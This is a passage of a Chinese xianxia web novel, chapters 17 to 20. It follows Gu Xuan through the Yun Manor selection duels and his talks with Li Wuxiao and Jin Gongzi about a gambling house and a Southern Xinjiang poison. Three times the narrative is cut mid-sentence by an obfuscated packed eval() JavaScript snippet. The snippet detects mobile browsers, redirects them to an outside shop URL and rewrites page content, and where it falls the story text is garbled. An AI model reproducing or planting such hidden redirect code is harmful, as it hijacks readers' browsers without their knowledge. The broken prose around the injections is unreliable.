这人就喜欢说一些有了答案的废话。 谢予执棋也能分神回他的话,笑道:“辛苦师弟操劳大选面试的事,不然我们哪里可以偷得浮生半日闲?” 云谨没抬头,道:“前几日我忙得头昏的时候你不是在睡大觉?” 柳无喧不在乎,呵呵嚯嚯了几声。等走到近前看了会棋局才再次出声:“哟,二师兄你要输了。” 谢予在对面落下一棋,整盘棋局已然胜负分明。 云谨将棋子放回棋奁,微笑道:“早几步棋就该输了,师兄让着我罢了。” 谢予唇角边噙着淡淡的笑意,给对面两人倒了一杯茶水,递了过去,问柳无喧:“大选的事如何了?师父那边怎么说?” 柳无喧握着白瓷盏,神色有几分正经,“跟上一届一样,鱼龙混杂。百草阁的丹药都供不应求了。” 百草阁是京城最大的药材和丹药的供应商,用于升境的丹药他们也在私下卖一部分,看谁有渠道罢了。 柳无喧继续说:“比如东平王的次子,就是顾暄那小子;还有北安王世子,那个喜欢哼来哼去的家伙;还有礼部侍郎的侄子,青城山的道士,九山派的弟子,以及南疆那边也来人了……” 云谨:“这些人背景不简单,还有南疆来人,选人的时候更要谨慎了……” 虽然有个“招揽英才”的名头,也不是什么人都招。以前云庄就收过一名天资聪慧的南湘弟子,后边发现是南湘皇室派来的间/谍,差点被这人混进皇帝身旁的暗卫里。 柳无喧叹道:“我总觉得,云庄这几年有点偏向朝廷的意思,它作为九大门派之首,成立之初的目的就是招揽天下英才,现在多了份别的考量,倒不是原来那个云庄了……” 他话止在此处,不往下说了,低头饮了一口茶水。 两人都知道他是什么意思,云庄的每一次选择都是一次变化,可能几代人过去后,云庄就彻底成为为朝廷效力的专属机构了。 谢予道:“没办法,云庄毕竟在京城,外院他们伸手师父还能睁一只眼闭一只眼,内院就轮不到他们插手了。而且,我看外院有几位长老也很有自己的‘想法’。” 柳无喧喝完半盏茶,眉眼间那股随意又回来了。提起师父,他抱怨道:“大选都开始了,师父不知道在东郊那块干什么偷鸡摸狗的勾当,我问了几天才问到路。” “见到他的时候他还在睡大觉,好不容易叫醒他,他翻个身继续睡了,我都想揍他了……关于大选的指示也没几个字,只说听我们和其他长老的安排,然后两眼一闭又睡了,请问有这样当师父的吗?” 其他两人都知道自己师父的行事风格,饶是做好了心理准备,听到这话还是不约而同地扶了扶额。 云谨问:“师父他不出席大选?他今年不收弟子?” 柳无喧喝完最后一口茶水,仰天长叹:“他说到时候看心情,可能不收,毕竟带徒弟不是一个轻松活儿。” “……” 好一个看心情,几位长老问他今年要不要收徒,他说不干,甚至嫌弃柳无喧几人太闹,吵得他头疼。云庄大选开始了,徒弟们忙得焦头烂额,结果做师父的在大选时还在京城东郊呼呼大睡。 谢予无语了一瞬,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278649|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复表情,又是那副宠辱不惊的模样,“那就按流程来吧,第二轮面试云师弟和柳师弟同几位长老负责。” 柳无喧应声,随即想到了一件事,问两人:“两位,关于顾暄测灵石上那两个字,师父有说什么吗?我前几天见他时,问他他也不说。” 云谨摇摇头,“我这几天没见着师父,都是靠传信联系,信中他也没回复。” 谢予有一瞬间的出神,柳无喧再次眨眼时他还是原来那副表情,那一瞬的出神就像是他的错觉一样。柳无喧又眨了眨眼,怀疑自己是这几天累出幻觉了。 谢予安抚道:“师父也没同我说什么,想必这个问题以后会有答案的。” 几人凑在一起喝了一壶的茶水,柳无喧主导话题,将这次大选的入选人从头到尾八卦了一遍。这人一聊起八卦就兴致勃勃,连水都忘了喝,云谨好几次看着他滔滔不绝、嘴唇干燥的样子都欲言又止,谢予则是一副很包容的表情,任他在那儿畅所欲言。 九山派一个弟子薄情忘义,下山时骗了一位纯情的姑娘,被姑娘和姑娘的同伴痛扁成猪头;北安王世子沈昧在王府是个不折不扣的纨绔,混账事做得比所有入选者加起来还多,北安王几次想请出家法打死这逆子;王尚书的儿子,几次到烟花之地,王尚书带人去堵自己的好大儿,结果发现自己儿子爱好南风,气得心疾发作倒地不起…… 还有顾暄,顾暄跟东临城洪太守的公子很不对付,两人各自看对方都觉得晦气,碰上面回家能用柚子叶洗掉一层皮那种。 两人去年为争赏莲的绝佳位置大打出手,洪公子被他按到水下吃了个水饱。王爷大怒,派出去的暗卫追了顾暄大半个东临城。 终于这人结束了八卦,连着喝了四盏茶水,将半壶茶水都喝没了。 照理来说过了几个时辰,天色应该会晚,可是这个院子还是维持着下午的光景,温度恰到好处,树木常青,在这里感觉不到时间流逝,只能凭借流沙判断过了多久。 谢予走出院子,东转西拐,走出了那个通往院子的曲折小径。他抬手轻轻往下一划,一道出口凭空出现,原来那个院子是一个人为的幻境。 外面已是天黑。 在东街某条巷子外,停着一辆不起眼的马车。谢予慢慢走过去,有人替他拉起帘子,马车内点着熏香,桌上摆好了点心和茶水。他坐了上去,估算着时间多久到那里。 谢予的马车到时,顾暄从望江楼走出不到百来步。谢予等顾暄走了再从马车里下来,萧掌柜出现在马车外,引着他到三楼。 一处雅间,刚才还在大堂和顾暄喝酒看戏的靳公子此时出现在这里,正微微低头看着房间里一处别致的山水屏风。 屏风上笔画很少,但寥寥几笔就让人知道山是山,水是水,风是风,人是人。 谢予进去后,萧掌柜贴心地把门带上。谢予拱手行了个礼,“皇叔。” 靳公子头也不抬:“嗯……予儿,等我看完这副屏风先。” 谢予道:“好。”他便坐在桌前,拿了块点心先吃。听柳无喧八卦了一下午,他晚饭都没吃,全靠那几口茶水撑着。 18. 二面 等靳公子看完那副屏风,慢悠悠地踱步来到桌前时,谢予已经在拿第二块芙蓉糕了。 靳公子一身金线滚边的紫袍,贵气逼人,等谢予吃完那块点心才开口:“予儿,今年庄主收徒吗?” 上一次大选庄主收了两位徒弟,这一次会不会更多?连他的皇叔也忍不住来问几句了。 谢予拿起桌上的帕子细细擦着手指,苦笑道:“师父说,全看心情。” 靳公子哑然片刻,笑了一声:“庄主真是个妙人……我最近认识了个人,就是你认识的那个姓顾的小家伙,我蛮看好他的。” “哦?”谢予饶有兴趣地问道,“我倒不知道皇叔对他这么有信心,毕竟他才十五岁,怎么看最多也只能进外院。” 靳公子这个侄子,更多是被宣景皇帝带大的,和宣景皇帝的关系更近一些,自己和他的关系倒不如他和宣景皇帝的亲近。 谢予自小立志要入云庄,被祖父武成皇帝怒斥数次仍然不改志向。十六岁那年如愿以偿进了云庄,有几年是跟着现在的庄主在江湖上到处跑的,有种要醉心江湖的趋势,这几年倒是好多了。 “十五岁,确实是年轻了些,你是十六岁入云庄的。”靳公子道,“但未来的事谁知道呢?比他大的在第一轮面试被淘汰的也有,谁能以年纪论英雄呢?” 谢予低头抿了一口茶水,回道:“是啊。” 看出了对方不愿过多谈论云庄大选的事情,靳公子识趣地转了个话题,“父皇说好些日子没看到你了,你琢磨琢磨时间,哪天入宫看看他老人家吧。” 谢予:“好,得空我去看看。”实际上两天前就去过了,武成皇帝晚年总觉得宫里寂寞,时不时就要出宫到郊外的行宫,一回皇宫便念着自己在京城的儿子孙子。 顾暄回客栈的第一件事便是拿出纸笔写信,前几天他过了第一轮面试,给他爹和他哥写信,王爷据说眼都大了。 他问顾暄测灵石上的等级多少,顾暄这才想起来自己没来得及看。乌漆麻黑下,自己又被那怪石灼烧得浑身经脉发痛,一看到出口就忙不迭跑了,哪里顾得上看等级? 不过毕竟是过了测灵石,想必等级也不会差到哪里去。 于是他想了想,在前几日的书信里大言不惭写道:“上等偏上,最好的一等。” 王爷回复:“呵呵。” 相比之下,他哥哥就靠谱多了。顾映在他离府半个月后也出远门了,这次往安州那一带去。收到他的书信时顾映正在跟人比武,看完信后洋洋洒洒写了五页书信,信中分享了他对顾暄的肯定和鼓励以及他游历途中的经历。 他和顾映都不在,王府就剩王爷一个孤寡中年男子了。顾暄一边和他在信里斗嘴,一边却调整了书信频率,一两天一封,几乎是像写每日心得一样。 多亏了靳公子那盏酒——原本他卡在一重境下境和中境之间,喝了那盏升境的酒后他慢慢往一重境中境靠拢。 这几天没事的时候他就学他哥在书上给他画的剑法,要不就是练习那种不用内力的轻功。他倒是想学用得着内力的轻功“飞云”,据说姿态优美、婉若游龙,奈何没师父领进门。 云庄大选,京城多了很多各色服装的人。代表南疆的黑纱覆面,来自北地的特色服装,以及江湖上颜色各异的各大门派校服,通常在一条街上顾暄就可以看到赤橙黄绿青蓝紫颜色衣服的人。 甚至有些人会暗中跟着他,估计是想看看能打败赵霄、夺得雪落的人是个什么东西。一看了不少人失望,这家伙内力看起来才一重境,跟赵霄差了不知道几重小境界。 他们顿时没了兴趣,猜测顾暄估计又是一个靠外挂拿下名剑的人,北安王世子便是一个很好的先例。 一转眼就来到了第二轮面试那天。随着日期的往后,京城的秋意越来越浓,转眼间已是八月下旬,不少王公贵族已经披上了薄披风。 顾暄那天差点迟到了。不知道为何,来了京城后隔几天就会做梦,梦到的多是光怪陆离的事情,诡异得不得了。每次做梦完醒来,后背都渗出一层薄薄的冷汗。 他踩着最后一刻来到云庄,柳无喧已经站在院子里了,看到他来“嚯”了一声,道:“你这心真大,面试还能睡过头。” 顶着其他人或探究或好奇的目光,顾暄抱歉地笑了笑,道:“京城的床软和呗,睡得我骨头都酥了。” 柳无喧没信,只是挑了挑眉:“乱说,王……你爹总不至于让你睡硬床板吧?” 云谨在旁边轻轻咳了一下,柳无喧原本歪着的身子站直了,脸色也正经起来,道:“我是第二轮比试的负责人,我叫柳无喧,是庄主的三弟子,旁边这位是我的师兄,相信你们第一轮比试的时候已经见过了。第二轮比试,进行一对一比武,每人抽签决定彼此的对手,胜者进入最后一轮比试。” 第二轮比试的人有三十二个,这么算来进入最后一轮比试的人应该有十六个人。 白袍弟子拿来一筒签子,上面刻着每个人的名字,由柳无喧来抽签。他搓了搓手,嘿嘿笑道:“我看看谁是第一场比赛的幸运儿……哟,顾暄,运气不错。” 这第一个被抽到的人成为全场目光的聚焦之处。 顾暄:……原谅他眼拙,没看出自己哪里幸运了。 柳无喧又抽了一根签子,看了看上面的字,道:“我看看谁是你的对手……陈礼,来自岭南陈家。” 一个人应声出列,瞥了顾暄一眼。顾暄一看,这不是前几天阴阳他那把雪落来历不明的家伙吗?真是冤家路窄啊。 还叫陈礼?感觉名字与本人不符。顾暄低头踢了踢鞋尖的小石子,默不作声想道。 三十二个人分成十六组,四个演武场同时进行比赛,快的话一个上午就比完了。 顾暄开脉习武后,他感觉还是有一些变化的。比如每一缕风声的来处,比如百米外那一片摇摇欲坠的树叶,比如未开脉那些人身上的气息。但是和他境界相同或者境界比他高的人,他就没法看出了。 这陈礼十九岁,顾暄一时摸不准这人什么实力。一重境?还是柳无喧和云谨一样二重境? 他不敢懈怠,直到第一次交锋时才差不多摸清了对方实力。对方和他差不多,就一重境下境,自己或许还高一些呢。 在使用轻功避开那人的剑锋时,台下观望比赛的沈昧皱了皱眉。顾暄的轻功不似平常轻功,不是飞云,而且没有内力波动。 他的脑海里浮过一个词,很快又摇了摇头。那种轻功失传已久不说,而且对于连这门轻功的要求很高,比飞云还费劲。他那么年轻,总归是巧合的。 顾暄跟那人有来有往打了一盏茶左右的时间,表面上看两人不分上下。陈礼的掌心却微微出汗了,这人看着比他小,能和自己打个平手已是难得,自己赢他应该是意料之内的事情,为什么现在还没决出胜负? 他一急,剑法便有些急躁,刺出的剑偏了几寸。 顾暄突然发力,将内力灌入雪落,一层霜迅速爬满雪落的剑身上。他拿着这把剑往陈礼的剑上一格,同时身子一转,将对方的剑震飞了。 陈礼回过神时,雪落已经架在他的脖子上了。他一个哆嗦,看着顾暄的目光已经带上了不可思议。 柳无喧微微一笑,等了三秒钟,道:“这一局,顾暄胜。” 顾暄下台后没急着走,而是在台下寻了处位置坐下,看其他几个人的比赛。沈昧来自北地,北地的人多数习重剑,但重剑也不是那么好练的,光是举起来就费劲。 所以不难想象沈昧为什么不惜代价要得到这把削铁如泥的雪落了。 顾暄以为这人是个花架子,没想到还真有那么两下子,应该是一重境下境或中境,从上台到把他对面那个对手干掉,只用了一柱香时间。 “这一局,沈昧胜。” 他身着一身红衣,面色倨傲,将那把通体黑色的剑收了回去便转身下台。 后面几局中,吸引顾暄的是来自南疆的一位少女,以及青城山一位极其年轻的道士。那位少女面容娇美,功夫却狠毒,她那对手跟她交手不到半盏茶时间还以为自己胜券在握 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场中众人面色各异。柳无喧和顾暄听到这回答直接笑出声了,云谨侧过身扶额,其他人则是觉得这人有病。 李无逍提着剑还没站稳身子,他的对手——京城刘家家主的次子就一剑劈了下来。 顾暄摸了摸下巴,想起自己之前几次跟人对决,对面也是出其不意出剑,这难道是一种江湖传统或江湖美德吗?那自己还是不够不要脸啊。 李无逍身体歪扭得像根灵活的面条一样,踩着被称为姿态最为优美的轻功飞云避开了这一剑,虽然他的姿态与优美这个词差了几千里。他嘴里念叨道:“怎么这京城的人还搞偷袭?你的武德呢?你的君子之德呢?” 这一声喊叫引来场中不少人的目光,那刘家次子脸红了红,他手中的剑更亮了,原来是他将内力更多地注入了剑身。 李无逍躲了几下没躲开,被一剑砍下半截袖子后,成了个“断袖人”。他肉疼地摸了摸另外半截袖子,怒道:“这可是京城织锦庄出品,我穿了不到三天呢。” 顾暄看着觉得这人有意思,即便是差不多过了午饭的点,他也没离开,继续站在廊下观战。 李无逍成了个断袖后好像被夺舍了一样,整个人气质一变,眉目如松雪般冷寂,竟有了几分青城山隐世高人的味道。 他脚尖一点与刘家次子拉开距离,两只手快速结印,顾暄看得眼花缭乱,只看到他的手在不断变换手势,同时口中振振有词。 随着他的动作,一只几人高的板角青牛在他身后逐渐浮现,随着光影的加重,那青牛的模样越发真实。 柳无喧原本抱着的手臂放了下来,脸上有惊讶之色,“这是……道门心法?” 顾暄有些不明所以,移了几步,用气音问柳无喧怎么了。 柳无喧嘴唇翕张,蹦出几句话,“道门心法一般是青城山高阶弟子所习,怎么说都要二十七八岁吧。这人才十九岁,关键是印结得有正形了。” 李无逍结完最后一个印,额上流下几滴汗。他一甩手,甩出一道炫目的火花,喝道:“去!” 那青牛仰头叫了一声,声如洪钟,扬起蹄子朝那刘家次子跑去。 那刘家次子估计也是第一回见这玩意,愣了几秒钟,等那青牛快跑到他跟前了才反应过来。 青牛一脚往他所在的那块地方踩了下去,刘家次子闪得及时,只见几秒后他原来在的那块地方陷了一大块下去。 顾暄听到场下有人吸了一口凉气。 青牛反应迅速,见没踩着目标顿时反应了过来。只见青光一闪,一簇青色的火焰从那青牛嘴里喷出来。 刘家次子将内力注入剑身,白光一闪,他的面前形成了一个结界挡住那青火。坚持了几秒,他用尽全力一挥剑,将那青色火焰打散了。 烟尘散去,李无逍持剑站在他不远处,衣袂微动,剑锋指着刘家次子的喉咙。那板角青牛立在李无逍身后,吼了一声,身影渐渐散去。 柳无喧将折扇收入怀中,道:“这一局,青城山李无逍胜。” 19. 怪脸 第二轮比试下来,进入第三轮比试的只有十六人,最后不知道进入云庄的有多少人。 顾暄往外走,一边走一边想第三轮比赛要怎么办,以及如何在最短时间内提升实力。 一个脸覆黑纱的女子轻飘飘地路过他身边,为什么说是轻飘飘呢?因为顾暄压根就没留意到身后有人的脚步声。照理说他开脉习武,耳目要比一般人聪明,没可能有个人跟在他身后都没发现。 他回过神来,便看到一身黑衣的秀格掠过他的身边。 秀格路过他身边时停顿了片刻,随后在走出几步后又回头,问:“你是不是中过紫鬼的毒?” 顾暄记起来了,在东临城他确实中过毒,而且是来自南疆的紫鬼。 顾暄警惕她为何知道自己中过这种毒,于是并没有急着回答,他的眼睛里写着犹豫,实际上脑子里飞速转着,思考秀格究竟是什么人。 秀格没理会他的沉默,继续说:“你的香包上有一味特制的药材,是治疗中了紫鬼的毒的人要用的。” 顾暄下意识摸了摸腰间的香包,这还是顾映给他收拾在行李里的,据说是跟安神香一起配的,驱蚊作用为主,中了紫鬼时可以抓一把倒在手上,防止毒素蔓延。 他思维跑马一样散着,想的却是秀格鼻子真灵,换了他只能闻到一股淡香,跟普通驱蚊香包无甚差别。可是秀格经过他身边就闻出了。 顾暄冲她笑笑,道:“一时不甚。” 他不知道中了紫鬼在南疆那边算什么,只见秀格轻轻蹙了蹙眉,最后还是没说什么。 顾暄目送着她的背影,若有所思。 这第二轮面试与第三轮面试隔了半个月,顾暄怕进不了内院,一得空就翻着他哥写的几本书。顾映真是个细心人,怕他没基础看不懂,用了几大段大白话讲解一句武功口诀,配上活灵活现的图,顾暄想不看懂都难。 那几本书装订的线头都快要被他磨破了,顾暄想了想,觉得自己实在上进。 得知他过了第二轮面试,顾映向他道喜,一同随书信而来的还有一枚做工精细的玉簪——是他游历安州时所得。他哥说,他现下和一位友人同行,要是哪天有缘没准三个人可以见一面。 顾暄拿着信看了几遍,心想这位友人可能是和顾映志趣相投,连他的书信里都透着愉快。 王爷对他过了第二轮面试的第一反应是惊讶,第二是问他有没有缺胳膊少腿。王爷在信中忧心忡忡,说那些江湖人是武夫,出剑没个轻重,动辄打打杀杀,个别的还不讲武德,喜欢搞偷袭,顾暄碰上哪一个都得掉层皮。 顾暄觉得王爷有时候说得很对,比如他遇到的赵霄和李无逍的对手刘家次子,这两人就搞偷袭,一点武德也不讲。 顾暄在回信里说,没呢,我把他们都打趴下了。 王爷回了个表情怀疑的小人画像。 顾暄有天上街买东西,听见一家赌坊门前吵吵闹闹,几个人跟聚在一起的耗子一样,其中一个熟悉的嗓音喊着什么“出千”“面若厚墙”。 顾暄耳朵动了动,目光往那边瞥去,原来是李无逍。不知道他是输了还是出千了,被几个人推搡着扫地出门。 眼看李无逍几个趔趄要正脸着地,顾暄好心扶了他一把,问:“没事吧?” 李无逍直起身,理了理身上因推搡而弄乱的衣裳,悻悻道:“没事,这京城人也忒不讲理了……兄台怎么称呼?” 想起他擦口水的模样,想必是没记着自己了。顾暄道:“顾暄,第二轮面试跟你同一个考场的。” 李无逍接道:“那太有缘了。” 顾暄看了看赌坊门口的对联,上联“赢生赢死赢富贵”,下联“输来输去输本心”,横批“输赢有命”。 赢生又赢死,莫不是指赌徒里有死人?输来输去又输了本心,三个输字,不怕赌徒忌讳?他觉得有些牙酸,道:“这对联谁写的?也太烂了,不怕赌徒们砸了他的场子?” 李无逍幽怨地盯着那三个输字,估计是将自己输了的怨气撒到这三个字上了。他道:“好像是掌柜还是大老板写的,这么多年了也没人敢动。换个其他人,输了的人早把这对联撕了。” 这赌坊开在东西十二街最繁华的地段,又挂了副看起来十分不吉利的对联,背后的掌柜或大老板应该不是等闲之辈。开赌坊也不止是为了赚钱,这儿更像是一个收集消息的好地方。 顾暄“哦”了一声,移开话题,“刚才那帮人为何对李兄如此无礼?” 谈到这个李无逍就有些愤愤不平,道:“这赌坊我来了几日,刚开始有赢有输的,赢的居多,但每当我下注多的时候必输,连着之前挣到的筹码。” 顾暄摸着下巴,心想这不会是赌坊潜规则吧?但一个赌坊要是私底下干这事,名声早就臭了,还能在京城开得下去? 顾暄没想明白,建议他要不再来一次?自己在一旁盯着那些人,看看他们有没有出千。 几局赌局后,两人飘飘然地走出赌坊。李无逍是因为又输了,顾暄则是因为李无逍真的做到了在赌注大的赌局里必输。他负责盯着那白衣庄家,愣是没看出这人用内力还是其他技巧。这只能用运气不好来解释了。 顾暄跟他蹲在路旁,长吁短叹。顾暄劝道:“李兄,你以后还是不要在赌注大的赌局里下注了。” 李无逍不知道从哪里薅来一根草,正叼在嘴上,闻言将草拿了下来,沧桑道:“我哪里还敢赌啊?再输下去我就要去要饭了,真是师门不幸。” 顾暄心虚地用手指在地上画圈,提议自己请他吃饭。毕竟一开始是他不信邪才鼓励 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278651|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李无逍再试几局的,没想到又输了。 李无逍坦然接受,并贴心地指了家便宜味美的小店。 两人落座后,顾暄正试着将内力注入杯子里,看能不能隔着杯子使茶水冷下来。李无逍的声音就像凭空出现一样突兀,自言自语道:“好漂亮的姑娘,为什么老是戴黑纱呢?” 顾暄抬头,看见秀格也进来了。她用黑纱覆面,身上穿的也是黑裙,一走起路来腰间佩戴的小铃铛在晃,可是却听不见声音。标准的南疆人打扮让半个小店的人的视线看了过去,下一秒他们又不约而同收回视线。 即使南疆归附四十年,京城内还是很少看见南疆人。导致一部分京城人还将虫子、巫毒和奇闻异术与南疆人联系在一起。 她是一个人来的。下一秒,顾暄就听到李无逍招了招手,道:“秀姑娘,可以来这儿跟我们一起——” 顾暄侧了侧脸,抬手盖住半张脸。 秀格那双不带什么感情的眼睛瞥了他一眼,没理会,径直走向另一张桌子。 李无逍“诶”了一声,将手放下。顾暄问:“你认识她?” 秀格的比赛在李无逍之前,按道理来说那个时候他在睡觉,比完赛他又是马上跑的,甚至没等结果,连比赛结果都是云庄弟子时候告诉他的。他跑那么快的理由是错过饭点了,要饿死他了。 李无逍说:“哦,这个啊,当时她比赛的时候我翻了个身,睁眼看了看比赛,觉得她很漂亮,就记了她的名字。” 顾暄:“…那你记性挺好的。” 李无逍露出了个不甚在意的笑容,下一秒又看了看顾暄,脸上一副琢磨的神态:“说实话,你挺特别的。” 顾暄:“哪儿?脸吗?那我确实当之无愧哈。” 不怪乎他自信,顾暄虽然喜欢闹腾,心底里鬼点子多,在淘气程度上是他哥的几十倍,但东临城的人提起顾映还是会把顾暄带上,就是因为他那张张扬的、不输顾映的脸。 李无逍握着茶杯的手顿了顿,随即用一种重新认识他的目光将他打量了一遍,有点疑惑:“我怎么没发现你这么自大呢?虽然你脸确实好看。脸特别也是一点吧,我第一眼看你就觉得怪怪的,说不上是为什么。” 顾暄放下茶杯的手几不可察地顿了顿,笑道:“我就当李兄在夸我了,还有哪点特别了?” 李无逍一直观察着他的动作,那很一瞬间的停顿自然是被他捕捉到了。李无逍说:“说不出来了,最怪的还是脸,总感觉有点假,不是你本来的脸的感觉。” 顾暄摇摇头,道:“身体发肤,受之父母。脸这种东西,不是父母天生给的吗?还能造假不成?” 正巧上菜了,小二把菜一碟碟摆放好,热情地笑着,准备给他们讲解。李无逍拿起筷子,微微一笑,“也是。” 20. 巫人 进入第三轮面试的人一共十六人,这个数字其实比往年多,若非第一轮淘汰太多人,本应该可以更多的。大家都在赌庄主今年收不收徒。 关注目光就移到了那十六个人身上。 顾暄吃饭时就注意到有人的目光若隐若现地往这边瞥,顾暄看过去,又觉得这些面孔实在眼生。 李无逍快速扒了几口饭,小声道:“顾兄你吃快些吧,这些人也忒烦了。” 等顾暄与李无逍吃完饭,差不多是下午太阳最炎热的时候。两人走出小店,一阵热浪扑面而来。 顾暄转了转眼珠,对李无逍道:“我下午无事,不知李兄下午有无安排?无安排的话不如我们过几招?” 酒足饭饱,李无逍用手遮了一下阳光,舒服得眯起眼,道:“你才多少岁就这个境界了?日后你到了我这个年纪,你指教我还差不多。” 顾暄笑道:“可现下我年纪小,李兄不如指导一下我的功夫?” 李无逍引着他到自己落榻的客栈走去,那儿有个挺大的后院,没事可以切磋一下。他道:“好小子,你就不怕第三轮我是你对手?” 顾暄道:“知己知彼,百战不殆。我了解李兄,李兄也了解我,不是对大家都有好处吗?再加上第三轮应该不会让我们像第二轮一样比试了。” 李无逍听到后面笑了笑,感情最后一句才是最核心的。 两人立于庭院前,各自持剑。比试过一番,顾暄心下讶然。那天他看李无逍出剑,猜测他是一重境上境。今天看他出剑,倒不止了,感觉是二重境下境了。 李无逍让他练剑,自己站在一旁看他的身法。萧瑟秋季,顾暄竟然还出了一额头的汗。 李无逍看着他出剑,忽而问:“你看起来比我年轻,几岁了?” 顾暄用袖子擦擦汗,道:“十五岁。” 李无逍“噢”了一声,心道这真是个怪物。 他一重境中境的时候是十七岁,到隐约摸到二重境的门槛时已经到了十九岁。 当今太子十三岁开脉,十七岁时达到二重中境,已是天赋凛然。这人十五岁就有了接近一重境中境的实力,不知是天赋使然还是后天喂的丹药。 李无逍不敢自诩剑法多精湛,只能说剑法比一般人好些。他细细看了看顾暄的剑法,道:“你出剑不稳,内力用了但是没刺到点子上,有些浪费。你学的剑法已是中上等的,回去好好练就行了。” 顾暄也意识到这个问题,学会剑法和精通剑法是两回事。他现在会剑法,但用起来略微生硬,像个刚学会走路的稚子。他忙抱拳道谢,得了李无逍的指导。 李无逍送他到客栈门口,拍了拍他的肩膀,鼓励道:“加油,我看好你,期待我们成为同门。” 顾暄那双如琉璃一般的眼睛转了转,笑意盈盈,道:“那就承李兄的嘉言了。” 李无逍被这双漂亮的眼睛晃了晃,回过神来顾暄已经走了。他有些失笑,心想这双眼睛美则美矣,但我至于吗。 顾暄在街上走着,脑海里回想着自己刚才出招的模样,事后回忆才发现有不少毛病确实得改改了。天色微暗,落日西沉,最繁华的东街上还是门庭若市。 顾暄发现毛病后迫不及待想回客栈试一试改过之后的剑招,想着晚饭随便吃点算了。一辆慢行的马车却在他跟前停下,一只养尊处优的手握着折扇挑开了帘子,露出一张熟悉的脸。 靳公子笑道:“我正要去望江楼,你顺路吗?” 免费的饭从天而降,再加上自己最近确实有些疑问,顾暄求之不得,挑帘上车。 车内漫着琥珀香,味道淡但好闻。一张小巧的四方桌上,放着一壶茶和两个茶盏,还有一碟摆放精致的栗子糕。 顾暄上了车,瞧见那杯冒着薄薄热气的茶水,顿时感觉自己跟李无逍比试那两个多时辰后渴了。他端起茶杯一口气喝了大半杯茶水,茶水微甘,香远益清,不知是从哪儿采的桂花。 靳公子在一旁点评道:“牛饮,非品茗也。” 顾暄把另外半盏茶水喝完,叹道:“怎么舒服怎么来,姿态都是做给别人看的。” 靳公子看他喝完茶水后捻起一块栗子糕开始吃,一边给他添了一杯茶水,一边叫他少吃点,等下还有正餐。 他一边倒茶,一边觉得有意思。这人半个月前跟自己说话还有些拘谨,半个月后就不顾得什么姿态不姿态了,该吃吃该喝喝。 到了望江楼,萧代理掌柜引着两人上楼,这次靳公子要了一个包间,包间里开着一扇小窗,可以看到擂台下的风景。理由是他最近有些着凉,吹不得穿堂风。 顾暄贴心地揽下斟茶倒水的活计,靳公子捏着折扇,看他这副样子觉得好玩。靳公子看着比顾柳青年轻一些,面容俊美,眉眼间可以瞧见经岁月沉淀后的风流,但同时他身上又有点吊儿郎当的气质。如果他跟顾柳青见面,两人一定会成为很好的朋友。 等靳公子抿了一口茶水,微微点了点头后,顾暄松了一口气,开始了今天的问题。 他用一侧拳头支着脸,脸上有几分正经,道:“公子,我初来京城,有些事孤陋寡闻,不知道该问谁。您久居京城,总比我知道得多。” 靳公子那双往上弯的眼睛压低了些,揶揄道:“有什么事难着你了?要让你开这尊口?” 顾暄摸了摸香包,道:“没办法,书里不多讲。我想你念的书比我多,在见识这方面比我更博闻。就是我想问问,在南疆用紫鬼这种毒的一般是什么人?” 靳公子听他前半句奉承还是懒懒地笑着,后半句听到他扯到了南疆上神色正经了一些。他下意识看了看顾暄露在外面的皮肤,问:“怎么突然问起这个?你中毒了?” 顾暄那双爪子在他面前正反晃了一下,以示自己没中毒。他老实道:“在东临城那会一时不慎,着了别人的道。” 靳公子合上折扇,用折扇轻轻敲着自己的指骨,沉思道:“据我所知,紫鬼不是一般南疆人能用的,这是巫人一族世代流传的秘术,术法不外传,因巫人一族人丁少,因此会的人不多。大概四十年前和十七还是十八年前,南疆有几位巫人长老叛逃,南疆对外统一称他们为白巫,与南疆本地的巫人区分开。你遇到的应该是叛逃南疆的白巫。” 顾暄发表感想:“叫白巫心还这么黑?真是名不副实啊。” 这人不知是缺根筋还是干啥,寻常人听到这回答的反应不应该是点头表示学到了或者一脸害怕或惊讶的表情吗?他怎么还想到了人心黑不黑的事? 靳公子无语地晃了晃折扇。 顾暄摇摇头,一副自己被风霜摧残过的模样,接着又问:“东街第八巷有一间赌坊,门口挂着副奇怪对联,你知道它背后的掌柜和老板是谁吗? 靳公子估计是深谙此道,一听到“赌”这个字就来了兴趣,兴致勃勃地问:“怎么?你想去?会赌吗?” 顾暄:“不是啊,不会赌,单纯好奇。” 靳公子失了兴致,兴趣缺缺:“哦,那是醉华亭,没什么了不起的。几个有点来头的闲散人开着玩儿的,庄家是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278652|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 